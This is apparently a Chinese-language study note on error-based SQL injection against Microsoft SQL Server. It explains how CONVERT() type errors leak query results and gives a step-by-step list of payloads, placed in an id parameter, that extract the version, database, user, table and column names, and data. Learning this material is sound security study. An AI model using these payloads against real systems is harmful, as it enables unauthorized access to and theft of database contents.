學習筆記十八:Mssql手注之報錯注入
convert()函式
CONVERT()函式是把日期轉換為新資料型別的通用函式。
語法:
CONVERT(data_type(length),data_to_be_converted,style)
data_type(length) 規定目標資料型別(帶有可選的長度)。
data_to_be_converted 含有需要轉換的值。
style 規定日期/時間的輸出格式。
示例:
CONVERT(VARCHAR(19),GETDATE())
CONVERT(VARCHAR(10),GETDATE(),110)
CONVERT(VARCHAR(11),GETDATE(),106)
CONVERT(VARCHAR(24),GETDATE(),113)
原理
對於convert(int,@@version),convert函式⾸先會執⾏第⼆個引數指定的SQL查詢,然後嘗試將查詢結果轉換為int型別。但是,由於這個SQL查詢的結果是varchar型別,⽆法進⾏指定的轉換,所以,convert函式會丟擲 ⼀個SQL server錯誤訊息,指出“SQL查詢結果”⽆法轉換為“int”型別,這樣的話,攻擊者就能得到的這個SQL查詢的結果了。
滿足這樣條件的函式還有很多:convert() ,file_name() ,db_name() ,col_name() ,filegroup_name(),object_name() ,schema_name() ,type_name() ,cast()
注入流程:
注意:這次的注入操作都是把要注入的語句直接替換引數值,也就是id=1 的1。
1.查詢基本資訊
convert(int,@@version) 獲取版本資訊
convert(int,db_name()) 資料庫名字
convert(int,user) 當前使用者名稱
convert(int,@@SERVERNAME) 獲取有關伺服器主機的資訊
2.獲取當前資料庫的表名
convert(int,(select top 1 table_name from information_schema.columns))
3.獲取列名
convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16進位制的表名 as varchar)))
4.獲取資料
convert(int,(select top 1 name 列名 from 表名))